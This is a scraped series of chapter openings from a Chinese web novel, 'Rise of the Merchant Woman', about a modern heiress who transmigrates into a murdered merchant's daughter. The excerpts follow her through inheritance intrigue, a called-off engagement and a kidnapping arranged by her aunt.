《女商崛起》 1. 傅家大小姐 《女商崛起》全本免费阅读 禹州城里最近发生了件大事,城里最大的药商傅老爷在送货路上被江匪杀害了! 漓水河是禹州通往京城的必经水路,来往的行船多不胜数,一个大富豪在此惨遭杀害官府却还未抓到凶手,此事闹得禹州的百姓们人心惶惶。 更让百姓们唏嘘的是傅家大小姐,传闻在傅老爷出殡后,傅家大小姐经受不住打击,已昏迷了整整两日。 傅家大小姐是一等一的美人儿,只可惜是个病秧子,面对如此打击,也不知道她那柔弱的身子能不能熬过来。傅老爷人死不能复生,可傅家大小姐还未及笄,正值大好年华,要是人就这么没了实在令人惋惜。 太阳落山,余辉染红天际,霞光如梦如幻笼罩着大地。 傅知乔是被渴醒的,她挣扎着从床上坐起来,嗓子干哑,浑身无力,头脑也一片混沌,像是有人拿斧头在劈脑袋一般。 室内一片静谧,空气中还有浓浓的药味。 环视四周,乌木雕花的拔步床,紫檀鎏金牡丹屏风……古色古香的房间布置,陌生却又有着几分熟悉感。 “这是哪里?”傅知乔揉了揉眉心,下一秒,她整个人都愣住了。 映入眼帘的是一双宛若羊脂白玉般的手,骨节分明,肌肤白皙细腻,看不出一点瑕疵。 不对! 这不是她的手! 早在一个星期前,为了庆祝海岛酒店收购项目圆满成功,她特地找了美甲师为自己设计了一款真钻美甲,一克拉的天然裸钻镶嵌在指甲上,闪耀夺目。 但是,现在这双手的指甲干干净净,丝毫不见钻石美甲的影子! 她用力掐了下指尖,会痛,不是幻觉! 她不是在海岛度假吗?现在是什么情况?被绑架了? 傅知乔掀开被子想下床,结果刚站起来腿脚一软又跌回了床上,她眉头一蹙,发现了更加不对劲的地方,她双手颤抖着摸向自己的胸…… 不算一马平川,但也平平无奇。 怎么会变成小笼包? 她的胸呢? 见鬼了!一觉醒来手不是自己的,身体也不是自己的,难不成自己碰上灵异事件了? 傅知乔慢慢走到梳妆台前。 磨得发亮的铜镜映出少女的面容,乌黑的长发散落在肩头,衬得原本脸蛋更加小巧,五官小巧精致,肌肤细腻白皙,眉宇间的稚气掩不住绝美的容貌,只是嘴唇上的血色很淡,显得她少了几分精气神。 与她原来的长相有七分像,却又比她多了几分柔弱动人之感。 傅知乔悬着的心稍稍有些安定下来,身体上的干渴阻止了她的思绪,现在这具身体现在急需补充水分,她强打精神走到桌前,拿起茶壶倒水时却发现茶壶里是空的,一滴水都没有。 忍住骂脏话的冲动,她放下茶壶准备出去找水喝,快走门口时听到屋外有几个人在说话。 傅知乔身形一顿,放轻脚步,悄悄贴在门上偷听。 “哎!你们听说没有,厨房的陈妈妈托人找了关系要调到二爷那里去呢!” “可不嘛,有门道的都想调走,二房现在可是香饽饽,留在大房是没什么前途了。” “那咱们也走吗?可我不认识二房的人,找谁托关系?是不是要花一大笔银子?” “哎,你们说,大小姐以后还是大小姐吗?” “你这是什么话,大小姐当然是大小姐。” 有个人敲了敲同伴的脑袋,“你个猪脑子,老爷没了,现在二爷变成老爷了,那二小姐不就变成大小姐了,那原来大小姐岂不是……” 一个小丫头缩了缩脖子:“嘘!少说两句,待会被崔嬷嬷听到就不好了。” 傅府里换了新老爷,又办了一场丧事,现在各个院子都自顾不暇,加上傅知乔又昏迷不醒,所以这群丫头小厮才敢聚在一起谈论主人家的八卦。 “大小姐不知道多久才能醒呢,我们去喝口茶再来守着?” “好好好!站了半天我腿都酸了!”几个人边说边走远了,后面的话就听不清了。 傅知乔愣在原地。 什么大房二房?大小姐是谁?他们在说什么? 突然,脑中一阵刺痛袭来,傅知乔经受不住瘫软在地,脑海里的信息一时间全部涌现了出来。 这具身体的主人名叫傅知乔,是府里的大小姐,傅家老爷傅长岳唯一的女儿。 傅家是富商出身,祖上挣下了万贯家财,在禹州算得上是知名的富贵人家,但是,前不久傅家老爷傅长岳出意外去世了。 在外人看来傅长岳的死亡是一个意外,但傅知乔知道,傅长岳是被谋杀的。 一场精心策划的谋杀! 傅家是做药材生意的,整个禹州城有一大半的药材都是出自傅家。傅老太爷妻妾成群,养育出三子两女,长子傅长岳是嫡妻郑氏所生,老二傅明杰和老三傅文阳是继妻杨氏所生,还有两个女儿是侍妾生的。 嫡庶有别,渐渐地就有了恩怨。 傅老太爷在世时,一家人还能维持表面上的和谐,傅老太爷死后,所有的问题都慢慢暴露出来。傅长岳作为大房嫡长子理所当然继承了家业,二房两兄弟野心勃勃,暗地里给傅长岳制造了不少麻烦。 傅长岳出意外当天,亲自护送一批青州本地的药材去往京城,结果在半路上遇到江匪,不但药材被打劫走,他本人也被江匪杀害。 傅长岳出事的消息传回来后,整个傅家都陷入了混乱之中,尤其是是傅长岳的妻子余柔岚,她急火攻心昏了过去。 傅长岳死的很突然,突然到让人来不及怀疑他是被人给害死的,正当傅家群龙无首的时候,二房的傅明杰出来主持大局,顺利接管了原来在傅长岳手上的生意。 这一切看似是水到渠成,其实是筹谋已久。 为了得到权势,傅明杰和傅文阳兄弟二人残忍的谋害了自己的兄长,不,或许在他们眼里,傅长岳从来不是兄长,只是财富和权力路上的绊脚石而已。 傅知乔此时已经懵了,亲爹已经被害死,那她身为大房唯一的血脉,现在的处境岂不是很危险?发现了这么大的秘密,她此时也顾不上喝水了,一边消化着脑子里的记忆一边重新坐回了床上。 自己又是怎么变成这个傅知乔的呢? 仔细回想着原身的记忆,傅长岳下葬后的傍晚,傅知乔穿着还未脱下的孝服,独自坐在走廊下的阶梯上,暗自神伤。 自从爹爹去世后整个家里都是二叔说了算,她真实的感受到了什么叫做世态炎凉。 原本巴结大房的人现在都去二房了,而大房二房向来不算亲近,家中的仆人对自己的态度也来了个一百八十度大转弯,连仆人都看得清自己现在的处境…… 她现在还能依靠谁? 恍惚间,她顺着熟悉的路线,走到了傅长岳的书房。 爹爹平常爱用熏香还没用完,房间里都是熟悉的气息,她的指尖划过桌面,抚过纸砚,像是在触摸爹爹宽厚的手掌。 傅知乔仔细的感受着房间的气息,然后默默地躲进书桌旁的小榻下,像小时候一般,等待着傅长岳找到她,把她抱在怀里逗着玩,这是小时候父女俩经常玩的游戏。 连日来紧绷的神经在熟悉的气味中得到了放松,傅知乔慢慢的睡了过去。 不知道过了多久,她感觉到腿脚酸麻,刚想从小榻下爬出来,却意外了听到了傅明杰和傅文阳的对话。原来父亲的死不是意外,是二叔和三叔共同谋害了爹爹, 2. 绿茶妹妹 《女商崛起》全本免费阅读 “姑娘?姑娘?”她小心打着招呼。 傅知乔迟疑道:“崔嬷嬷?” 根据原身的记忆,眼前这个看起来四十多岁的女人叫崔嬷嬷,是原身母亲陪嫁过来的人,现在是傅家大房的管事嬷嬷。 崔嬷嬷抹去眼角的泪水,还好还好,姑娘脑子没坏,“唉!姑娘身子还没好,怎么能下床呢!” 还不等傅知乔作出反应,崔嬷嬷便放下手上的水盆,将她重新扶回床上盖上被子,握住了她有些冰凉的手,嘴里不停地念叨着:“多谢菩萨保佑!多谢菩萨保佑!” 傅知乔:…… 脑海里回想着原身的行为举止,接下来自己要做什么反应才不会露馅? 崔嬷嬷看着床上依旧有些呆滞的人儿,惨白的小脸十分惹人怜爱,焦急询问道:“姑娘可还有不舒服?”说着就要伸手摸向她的额头。 傅知乔下意识往后一缩。 “水……”她声音沙哑,这具身体十分缺水,昏迷这么久她都快渴死了,更别说嘴里还残留着苦涩的药味。 崔嬷嬷看见桌上空空的水壶,瞬间就变了脸色。 “这帮小蹄子……”这些丫头竟敢如此怠慢姑娘,崔嬷嬷骂骂咧咧出门找人烧水。 很快就有人端着茶水进来了,崔嬷嬷气不打一处来,冷下脸厉声呵斥:“姑娘昏迷不醒,你们就是这样照顾的?房里没有人就算了,连壶茶水都不烧了是吗?” “嬷嬷!”傅知乔喊住她,现在不是骂人的时候,还是先让她喝口水吧! 崔嬷嬷把送水的小丫鬟赶走,亲自倒了一杯温水喂到她嘴边。 傅知乔“咕咚咕咚”连喝了两杯水才解了渴,崔嬷嬷看着大口喝水的傅知乔,眼里是止不住的疼惜,“姑娘可还有不适,嬷嬷再去请大夫来看看。” 喝完水的傅知乔感觉自己舒服多了,“我好多了,我娘呢?” “姑娘高热不退,连大夫都说可能会熬不过来,夫人急的整夜睡不着觉,衣不解带的守在姑娘床边了照顾了一天一夜,现在在隔壁休息,我这就去请夫人过来!” 好在姑娘及时醒了过来,不然丈夫和孩子相继离开,夫人如何承受得住!崔嬷嬷这两天都着急的嘴上长了一个疮。 “不必!让娘先休息会吧!” 崔嬷嬷转身从水盆里取了一块湿润的帕子给她擦了擦脸,说道,“姑娘,那你再休息会,银杏那丫头在熬药呢,嬷嬷这就去给你端药来。” “嗯。” 虚弱的身体不足以支撑长时间消耗脑力,好在崔嬷嬷立马端着药回来了,喝完药,傅知乔很快睡了过去。 再次醒来时已经是第二天中午了。 傅知乔看着床顶上精致的雕花,回想昨天发生的事情,感觉像是在做梦一样。细细梳理了一遍脑海里的信息,她长长叹了口气,安慰自己:莫慌莫慌,什么大场面我没见过? 感觉到有一束强烈的目光正盯着自己,她一转头,看到了床边坐着的美妇人。 脸上脂粉未施,眼中带着血丝,显得非常憔悴,身着一身素衣,弱质纤纤,却依旧掩不了美丽的容貌,反而更添了一份我见犹怜的风姿。 这便是原身的母亲,余柔岚。 丈夫去世,她每天以泪洗面,女儿又高热不退生死不明,轮番打击之下,短短几天余柔岚就消瘦了不少。 或许是这具身体残留的意识,傅知乔看着余柔岚,眼泪倾泻而出。 余柔岚上前抱着女儿清瘦的身体,满脸的担心和关切,伸手探了探她额头的温度,擦拭着她脸上的泪水,“别怕!阿乔别怕,还有娘呢!” 母女间的血缘纽带让傅知乔并不排斥这个怀抱,反而觉得很安心。但是,傅知乔并不是一个真正的小孩子,哭完之后后她觉得有点不好意思,干脆把头埋在余柔岚怀里躲避其他人的视线。 站在一旁的崔嬷嬷笑道:“姑娘身子一好,夫人的精神头也好起来了。” 说着她示意旁边的丫头上前,“都说病来如山倒,病去如抽丝,所幸姑娘高热退下了,大夫都说姑娘福气大捡回一命,又开了几贴新药,嘱咐姑娘要按时服用,好好休养才行。” 一碗棕黑色、冒着热气的汤药放在托盘里端到了傅知乔面前。 傅知乔顺着看向端着药的小丫鬟,大约十来岁的样子,梳着双环髻、穿着蓝色云纹裙,对上傅知乔的视线后脸上露出一个大大的笑容,模样十分可爱。 这就是自己的贴身丫鬟银杏了,银杏比她小两岁,四五岁时就进府了,跟在她身边已有七年之久,两人的关系十分亲近。 余柔岚接过汤药,想亲手喂给她喝。 傅知乔摇摇头,接过余柔岚手里的药,深吸一口气喝完了,汤药又苦又涩,一口一口的喝加更磨人,倒不如一口闷了。 苦!实在是太苦了! 傅知乔扭曲着脸,赶紧往自己嘴里塞了个蜜饯,好压一压汤药的苦味。 余柔岚看着有些孩子气的女儿,也露出了一丝久违的笑容:“都多大人了,怎么还害怕吃药呢?” * 在床上躺了两天,傅知乔渐渐恢复了精神,两天的时间已经足够她缓过神来了,虽不知是什么原因导致她有了这番奇遇,但既来之则安之,她也只能接受现实了。 每日补品汤药不断,她的身体也有明显好转,也确认了自己“穿越”的事实。 观察了两天,好像并没有人发现她的异常,也没有人过来找麻烦,傅知乔稍稍放下心来。 傅家是大户人家,自家院子里就有很好的园林景色。 出了听雪堂,沿着曲折游廊走到尽头可进入花园了,鹅卵石铺成的小路朝花园中心延伸着,两边摆着精巧的怪石和盆景,花园里假山怪石、石桥流水、小榭亭台一应俱全。 园中一派春光丽色,水池边青石铺地,池面上睡莲静绽,柳树枝条身姿袅娜,随着微风拂过水面荡起层层波澜。 “姑娘,快看锦鲤!”银杏指着池子。 寒冬过去,随着天气回暖,花园里的一切都鲜活起来了,连池子里的锦鲤也充满了活力。 “看到了!”傅知乔顺着银杏的手指看去,几尾红白相间的锦鲤游得正欢。 银杏从袖口里拿出一个小瓦罐,献宝似的捧到傅知乔眼前。 瓦罐里头装的是鱼食。 傅知乔随手抓了一把鱼食撒了下去,只见一个个张大嘴巴的锦鲤从水底冒出来,拼命地吸食水面上鱼食。 两人你抓一把我抓一把,瓦罐很快就被喂光了,银杏拿了块帕子给她擦干净手。 逛了会园子,傅知乔已经微微带喘,虽然她的精神很亢奋想继续逛逛,奈何这具身体大病初愈,身上实在没有太多的力气。 银杏搀着她到假山边的凉亭里歇息会,亭子的四周都挂上了纱帘,揭开帘子就能把花园四周的景色尽收眼底,确实是一个观景的好地方。 傅知乔坐在亭子里歇息,不一会儿,银杏拿来了装着糕点茶水的食盒。 傅知乔端正了身体,目光在她身上打量了会,问:“怎么?谁欺负你了?” “没,没有。”银杏咬了咬唇,眼神闪躲。 “当着我的面也敢说谎了?” 银杏进亭子的时候傅知乔就注意到了,眼眶发红发丝凌乱,裙摆上还沾着一团黑灰,一看就是被人欺负了的模样。 察觉到傅知乔语气中的不快,银杏扑通一声跪在地上 4. 上门退亲 《女商崛起》全本免费阅读 赵夏兰从余柔岚那里拿回管家权的事,没一会就传遍了整个傅府。 下人们私底下都炸开了锅,因为这个举动意味着,傅府已经彻底的由二老爷当家做主了。 不同于隔壁金玉苑里的阵阵欢笑和恭贺声,听雪堂的气氛持续陷入低迷。 余柔岚神色倦倦地靠在软榻上,不知道在想什么。 崔嬷嬷关上房门,忍不住啐了赵夏兰一口,“瞧瞧那迫不及待的样子,老爷才过了多久,他们就来作践您……” “好了,崔嬷嬷。” 余柔岚赶紧制止了她,眼中闪过一丝落寞,她如何能看不出来赵夏兰的来意,但这家中已经不是他们大房说了算的了。若不满足赵夏兰的要求,就是驳傅明杰的面子,所以她只能先安抚住赵夏兰,她账本和管家钥匙都交出去。 傅知乔看向难掩倦色的余柔岚,拉住她的手蹭了蹭,小声道:“娘,委屈你了!” 尽管余柔岚嘴上说不在意,但又怎会一点都不在意呢?像傅家这样的富裕人家,谁执掌中馈谁就有话语权,有的是丫鬟婆子的讨好,现在她失去管家之权,自然会受到冷待。 傅知乔胸口一股气憋得难受,穿过来之前,她是世界五百强企业唯一的继承人,所到之处皆是夸赞和追捧,二代圈那些人都戏称她为“太子女”,她哪里受过这种欺辱? 不同于傅知乔和崔嬷嬷两人的愤怒,余柔岚很快平静下来了,她心里有数,这件事早晚都会发生。 女儿能平安醒来已经是万幸,如今的她已不敢奢求太多。 比起赵夏兰的所作所为,更让她感到意外的是傅知乔,她这个女儿向来与人和气,今天却表现出了咄咄逼人的一面。 余柔岚和崔嬷嬷也意识到了这点,对上她俩的眼神,傅知乔心里一梗,想起了自己柔弱的人设,今天她的所作所为是有些出格了。 “娘,泥人还有三分土性,二婶这么做是要把我们踩在脚底下,今后,咱们听雪堂上上下下可还有好果子吃?” 傅知乔握起拳头一脸愤怒,“要不是父亲他……二婶又怎敢如此?”话说到一半她就打住了,余柔岚当然知道她这句话是什么意思,和崔嬷嬷对视了一眼,两人皆无声叹息。 是啊!要不是傅长岳死了,二房又怎么敢在大房头上蹦跶,现在的大房虽然占了个嫡出的名头,可没有实权握在手中,一切都是虚的。 傅长岳还活着的时候,他是一家之长,家族内的大小事务都由他决定,他的妻子、孩子都处于他的荫庇之下。 现在傅长岳没了,大房仅剩下一个手无缚鸡之力的妇人、一个体弱多病的小姐,自然是不被人放在眼里的。 但二房这边就不同了,老二傅明杰虽然是继妻生的,地位上被嫡妻压了一头,但名义上他也算正统,由他继承家业旁人也无可指摘。 傅长岳是傅老太爷的嫡妻郑氏所生,郑氏逝去后,傅老太爷娶了杨氏为继妻,杨氏是傅老太爷的表妹,有她在一边吹耳旁风,傅老太爷对傅长岳这个长子颇为严厉。 后来,杨氏生了两个儿子,分别是老二傅明杰和老三傅傅文阳。 赵夏兰是傅明杰的妻子,她出身清贫,父亲是个在乡下教书的秀才,因为姣好的容貌加上自己也有几分手段这才被被傅明杰娶了回来。 同为傅家儿媳,赵夏兰在官家小姐出身的余柔岚面前总是矮一头,憋屈了好些年,这种情况一直到她生下儿子后才改变。 她生的是儿子,而余柔岚生的是女儿,凭借儿子她在余柔岚面前才有了底气。虽然她儿子才四岁,但也算后继有人了不是,看到大房如今的落魄样子,她更加有了扬眉吐气的机会。 傅长岳虽然掌管着整个家族的生意,但府里的事物一直在继老夫人杨氏在管理,对于这个名义上的母亲,碍于孝道傅长岳也不好说些什么,继老夫人杨氏去世后,余柔岚才开始接管府里的中馈。 直到这时候,大房才算真正的掌家。 谁知平淡的日子没过几年,二房就忍不住要夺位了,还夺成功了。 傅知乔有点心疼这位没见过面的老爹,但更多是心疼自己现在的处境,父死子继,傅长岳名下又无男孩,纵使傅家富裕、家财万贯,也分不到她们母女头上。 * 自从赵夏兰拿走账本和库房钥匙后,她跟余柔岚在傅家也彻底变成了闲人,傅知乔到没怎么在意,没人过来打扰的这段时间正好让她养好身体。 为了尽快融入这个世界,她整天窝在院子里看书练字抄书帖,拼命吸收这个世界知识。 赵夏兰忙着收拢傅府的人心,并没有时间专门来找大房的麻烦,傅知乔窝在听雪堂里,看书练字,日子过的也算是舒心。 然而,舒服日子还没过几天,听雪堂里就来了个意外的访客。 来人是赵家夫人,她穿了一身松绿色弹花暗纹云缎裙,显得整个人端庄又大气。 丫鬟们上了茶后就退了出去,屋里只剩下余柔岚和她两个人。 傅、赵两家自从有了定亲的意向后,私下也有不少往来,世上没有不漏风的墙,关于两家有意的结亲的消息还是传了一些出去。 两家虽然没有对外明确表态,但也没有否认过,这么暧昧的态度,外界都猜测这门亲事是板上钉钉了。 但事情真的如此吗? 傅长岳死后的这段时间里,赵家除了上门吊唁之外,其余时间并没有联系,也没有再提起结亲的事。 今天赵夫人突然登门,余柔岚心里一紧,可千万别是她猜测的那样。 与赵家这门亲事是傅长岳在世的时候定下来的,因为傅知乔年纪小,两家只是口头上的约定,并未交换婚书。 傅长岳早就为女儿打算好了,傅家是商贾出身,高门大户的怕是看不上自家的出身,他也不愿意让女儿嫁入高门后被轻视,所以把找女婿的目光放在了寒门学子身上,再不济,就给她招个赘婿。 抱着这样的想法,他看中了赵均回。 傅长岳对赵均回的评价是“腹有诗书,谦谦君子。” 赵家是书香世家,祖上也曾出过进士,虽然如今的赵家早已落败,但目前族中依然有人在京城里当官,只不过赵均回是旁支,与赵家核心圈子离得远,并不受到家族的重视。 故而,赵家在禹州顶多算得上是小康之家。 傅长岳看中赵均回的潜力,觉得他是个可造之材,愿意拉他一把。 他想着,将来等赵均回入仕,傅知乔就是正儿八经官家夫人了,再者,赵家看在傅家尽力扶持赵均回的份上,自然是不敢轻视傅知乔的。 这也是傅长岳从一众青年才俊挑中赵均回的原因。 赵家整体条件虽然比不上傅家,但总的来说差距不算太大,结成亲家倒也合适。 赵家这边也觉得与傅家结亲不失为一门好亲事,赵均回一表人才,年纪轻轻就考上了举人,将来科考及第,上有家中族老点拨,下有傅家的财力作为助力,仕途必定能一路通畅。 说到底,傅家看上了赵均回能当官的潜力,赵家则将傅家视为钱 5. 努力挽回 《女商崛起》全本免费阅读 赵均回知道母亲擅自做主去退亲后,连忙派人去拦她,可惜还是晚了一步,他当即写了一封信急,匆匆送去傅府,在来傅府的路上便已做出了决定。 三年,自己又不是等不起。 取消定亲只是母亲的意思,自己愿意等傅姑娘三年,等他考上功名就来娶她过门,赵均回心急如焚,心中期望着傅家不要误会才好。 到了傅府门口,赵均回没有拜帖,门房自然不肯放他进去。 一个外男一直站在傅家门口也不像话,为了避免引别人再说闲话,崔嬷嬷亲自去拒绝的他,说夫人身子不适不见客。 赵均回咬了咬牙,随即却是苦笑道:“嬷嬷,我们两家中间有误会,可否让我见傅夫人一面?” 赵均回穿了身白色对襟袄子,头发用玉簪束起,整个人生的风流韵致,此刻的眼神里却写满了哀求。 崔嬷嬷看着一表人才的赵均回,眼底也有遗憾之色,她抿了抿嘴道:“赵夫人已经说的很清楚了,赵公子请回吧。” 赵均回马不停蹄的赶来傅家就是希望能挽回这门亲事,然而最后还是没能进门,他只好托崔嬷嬷把信送进去。 信封面上写着傅姑娘亲启几个字。 信最先送到了余柔岚手上,她本想直接撕了的,但听到崔嬷嬷说起赵均回诚恳的模样后又改变主意了,她倒要看看赵家还能如何狡辩的。 信不长,余柔岚很快就看完了,她久久没有说话,。 取消定亲一事是赵夫人自己的决定,赵夫人背着儿子上门来退亲,而赵均回本人并不愿意与傅家退亲。 少年人言辞切切,赤子之心跃然纸上,看完信余柔岚心里的怨念也消散了不少,赵均回确实是做女婿的好人选,原本是男才女貌的好亲事,终究是命运弄人…… 最终,余柔岚还是选择把信交给了傅知乔。 傅知乔看了信,眼中也露出惊讶的神色。 这人知道自己家中骤变,于他而言已经没了多大的助力却也肯信守诺言,傅长岳的眼光确实独到,这个赵均回担得起谦谦君子这个名头。 “不管赵公子如何,我们的缘分也就只能到此了。”傅知乔跟余柔岚表明了自己的意思。 大魏的女子成亲后一般只能在家相夫教子,时代不同观念不同很正常,傅知乔不想评判这种观念是对还是错,她认为把自己的余生完全寄托在别人身上是行不通的。 她这个身体才十五岁不到,这么早就把未来的亲事定下实在不像话。 傅知乔把信递给崔嬷嬷,“拿去烧了吧,别让外人看见了。” * 此时的赵家正在爆发一场争执。 赵均回返回家中,声音裹挟着怒意:“娘为何要取消与傅家的亲事?结亲向来是结两姓之好,娘就这么不顾忌情分,非要在傅老爷去世的节骨眼上去退亲?” “还未交换信物,算不上退亲……”赵夫人感到头疼,自己的儿子一向稳重内敛,此刻却面色阴沉,而且看他这态度,似乎很满意与傅家的亲事。 可赵夫人并不后悔去退了亲事,这不仅仅是涉及到儿女情谊,还有赵均回的前途,“族里旁支繁多,咱家这些年一直被忽视,均回,你父亲去了,你就是娘唯一的希望,在成亲这件事上你要听娘的话。” 到底舍不得责怪自己的儿子不懂事,赵夫人沉沉叹了口气:“娘都是为了你好,你需要的是一个未来对你有帮助的人,而不是一个拖后腿的……” 后面的话说出来实在显得冷漠,赵夫人没有再说下去。 “在您眼里,儿子的婚事是一场交易吗?” 赵夫人不认为自己做错了,她语重心长:“婚姻大事向来是父母之命,媒妁之言,均回,你还年轻,不知道一桩好婚事能带来多大的益处,会让你少走多少的弯路。” “当初您决定与傅家定亲没有经过我的同意,现在又擅自去解除定亲……”赵均回顿了顿,终究是难掩怒气,“儿子难道是您手上的傀儡吗?” 赵均回一向恪守礼仪,今天罕见的对母亲大声喊话,显然是怒急了。 “可是……”赵夫人还想说些什么。 赵均回打断她:“前途,前途,我赵均回何时需要靠一个女人去博前途?” 说完他甩袖离去。 年轻的郎君当然有自己的傲气,赵均回天资聪颖,自幼饱读诗书,他并不想通过走捷径获得成功,他想的是凭借自己的才华去谋前程。 赵夫人看着他离去的背影,目露忧愁,嘴里喃喃着:“为娘做错了吗?” * 距离跟赵夫人吵架已经过去了一个时辰,赵均回坐在书桌前,书愣是没有翻动一页。 他心里的郁气没消,眼前这本书是无论如何也看不进去,他干脆把书合上,双眼无神望着窗外,也不知道在想些什么。 书童来宝小心翼翼发问:“公子,您喝茶吗?” “不喝。” 来宝心里了然,自家公子确实是很不开心。他慢慢退出书房,小心翼翼关上房门,每一个动作都很轻,生怕惊扰到赵均回。 赵均回依然沉浸在自己的思绪里,他其实是见过傅知乔的,在两家有了定亲的意向后。 年少慕艾,他也好奇自己未来的妻子是谁,早在半年前他与母亲去傅家做客,在傅家花园里见过傅知乔一面。 那次匆匆一面并没有让赵均回将傅知乔记在心里,直到前不久,他再次见到傅知乔。 赵均回清晰地记得那天是一个雨天,他在书肆里买完书出来,刚走出两步,天空就淅淅沥沥下起了雨,他只好退回到屋檐下躲雨。 路上急着躲雨的行人也冲到屋檐下,赵均回拍打着身上的水珠,看着雨水落在地上溅起水花,心里猜测着这雨要下多久才会停。 一抬头,看见了这辈子都忘不掉的场景。 雨中缓缓驶来一辆马车,停在了书肆门口,侍女下车撑着伞,扶着一个姑娘慢慢走下马车。 油纸伞很大,遮住了她的大半张脸。 与周围行色匆匆的人不同,她看起来很悠闲,不紧不慢地在雨中行走着,姿态优雅闲适。 她离书肆越来越近了。 赵均回的心不知道为何突然紧张起来,一步一步,越来越近了,终于,他看清了她的脸。 少女的容貌秀丽之极,肤色雪白,晶莹剔透,双眸闪耀如星,雨中的水雾如烟霞一般轻笼在她身边,有种说不出的空灵轻逸之感。 傅知乔感受到被注视的目光,她疑惑地回头,银杏在一旁小声提醒:“姑娘,屋檐下那位就是赵公子。” 傅知乔一时间没有想起来赵公子是谁,她也没有纠结,赵公子是谁并不重要,她出门的目的主要是来买书。 自打她醒来后,余柔岚将她看的比自己的眼珠子还要重要,她好不容易才说服余柔岚放她出门,当然要 6. 毁她清白 书房内。 《女商崛起》全本免费阅读 书房内。 阳光穿过窗户照进室内,光斑照在少女的脸上,她的皮肤白皙莹润发光,有种让人移不开眼的美。 银杏进了书房,将一碗水晶糕和一壶雨前龙井摆在桌上,朝着傅知乔:“姑娘,吃点心。” “先放那吧!”傅知乔坐在书桌前认真的临墓着字帖。 银杏的视线落在她纤细的手上。 傅知乔拿着毛笔在纸上写写画画,她的手指骨节分明,白皙细长,指甲是粉润的还泛着淡淡光泽。 银杏视线移到她脸上,不禁入了迷:“姑娘,你真好看!” 傅知乔笑笑没有说话,她一气呵成写完最后十个字,将刚刚临摹好的字帖收起来,放下笔揉了揉手腕。 今天练了一个时辰的字,在这个没有什么娱乐项目的时代,除了看书练字她也没什么事情可做。 大魏的文字很讲究笔法的精确性和稳定性,原身的字写得很好,不过擅长的字体是簪花小楷,她虽然有原身的记忆但也不能将字迹模仿的一模一样。 为防止露出马脚,傅知乔改练了自己更为熟悉的瘦金体。 改字体没有捷径,也不是一天两天就能改过来的。为了不穿帮,傅知乔只能老老实实练字,所幸她上一世跟爷爷练过毛笔字,有一定的书法底子在身上,写起新字体来还算有模有样。 除此之外,傅知乔还有一件烦恼的事。 自己不是原来的傅知乔,余柔岚暂时沉浸在女儿康复的喜悦里没反应过来,等她反应过来后怕是能察觉出自己身上的不对劲之处。 对于现在的余柔岚来说,女儿就是她活下去的唯一希望,要是她知道自己养育了十多年的女儿已经没了,那后果简直不堪设想。 想到这儿,傅知乔的眉头皱得更紧了。 难道要她模仿原主之前的习惯,可假的就是假的,日子一久难免会露出马脚。 其实傅知乔的担心完全是多余,这段时间里她的变化一直被余柔岚看在眼里,丈夫去世后,她把全部的心思都放在的女儿身上,知子莫若母,哪怕是一点点细微的改变都无法逃过她的双眼。 不过,余柔岚并没有多想,她只是觉得傅知乔之所以性格大变,是因为傅长岳的死对她的打击太大了,她小小年纪经历如此大的巨变,性格大变也不算什么奇事。 在不知不觉中,余柔岚也渐渐地接受了傅知乔身上的变化。 * 翌日,傅知乔照常带着银杏去花园里散步,自打她有意识锻炼身体后,每天都会到花园里走上半个时辰。 清晨的薄雾还未散去,花园里并无其他人的身影,主仆两人不紧不慢的走着石子路。 走到半路,银杏突然肚子痛,想要去方便一下,她憋红着脸想要先把傅知乔送回院子里。 傅知乔看着她憋红的脸,笑了笑:“不用了,你放心去吧,我就在这转转。” 无人作伴,傅知乔独自一人在小花园里转悠着,她顺着石子路走到了垂花门下,刚跨过垂花门,她就感觉到有点不对劲。 电光火石之间,垂花门后猛地蹿出两个黑影,傅知乔还没来得及张口,便被直接捂住了口鼻。 她立即屏住呼吸,但还是免不了吸入了两口,眼睛一闭,昏了过去。 两个蒙面人架着她的胳膊离去,慌忙间并没有发现她的一只耳坠掉了下来。 蒙面人扛着傅知乔七拐八拐来到一处偏僻的小院,其中一人十分犹豫:“真的要这么做吗?她可是大小姐,万一我们被发现了……” “放心吧!大小姐又能如何,现在府里是二爷说了算的,夫人说了,此事办成重重有赏。” 说着,他还指使另一个蒙面人:“我在门口守着,你去禀报夫人,说人已经到手了。” 两人走出柴房,关门上锁。 因为吸入的迷药不多,没过多久傅知乔就恢复了意识,她努力控制着自己的呼吸节凑,想确认旁边还有没有别的呼吸声。 几息过后,确认房间里只有自己一人后,她睁开了眼睛。 四下环顾了一圈,屋子里很简陋,地上到处是细碎的干柴,角落里还结了蜘蛛网。 显然,这是个已经废弃了的柴房。 也不知道银杏有没有发现她不见了,傅知乔双眸沉冷,心里猜测着,有本事在傅府里把她掳走并且没有惊动任何人,是二房做的还是三房做的? 手脚都被绑着,只能活动的只有手指,她在地上挣扎着想要解开麻绳,然而,除了她的力气用尽,手腕被磨肿之外,麻绳连半点松动都没有。 突然,门外响起急促的脚步声,傅知乔立刻躺回地上假装昏迷。 她紧张的握起拳头,心咚咚咚跳个不行,借着发丝的遮挡,她微微半眯着眼想看清来人,但因倒在地上,所以只能看到对方的脚步越来越近。 那人慢慢将手伸了过来…… 傅知乔猛地睁开眼睛,犀利的目光紧紧地盯着来人,厉声问道:“你是谁?” 眼前是一个神色慌张的青年,见她醒了十分惊讶:“大小姐?大小姐,真的是你!” 傅知乔戒备的看着他,她还不清楚来者是敌是友。 男子看她神情戒备,赶忙解释着,“我……小的叫文江,是听雪堂的护院,大小姐可还记得?” 傅知乔细细打量着他然后点点头,她认得这张脸。眼前这个长相憨厚的人叫文江,他还有一个哥哥叫文山,他们两人都是听雪堂里的护院。 “你怎么在这?是谁把我抓来的?” “小的不知,这里是侧院的柴房……” 文江边给她解开绳索边解释,早上他们兄弟二人换班的时候,正好看见两个人抗着一女子鬼鬼祟祟从院子里跑出去。两兄弟便以为那两人想要欺辱听雪堂院中的丫鬟,作为护院,他们怎能忍受这种事情发生,就悄悄地跟了上来,结果没想到被掳走的人居然是大小姐。 文江心里后怕不已,幸好他们跟上来了。 “哥哥已经把他们引开了,大小姐快跟我走!” 傅知乔也没啰嗦,跟着他跑了出来。 柴房这边,蒙面人好不容易甩开了文山,回去后只看到地上的断绳。 糟了!大小姐跑了! 他连忙将此事汇报给赵夏兰。 “大小姐身边有护院,我们不敢直接动手!”蒙面人低头说道。 居然让人跑了! 赵夏兰的脸色沉到了底,她本意是找人毁掉傅知乔的清白,好让傅家跟赵家的亲事结不成。 “你们可有被认出来?”要是认出来,这两人是不能再留了。 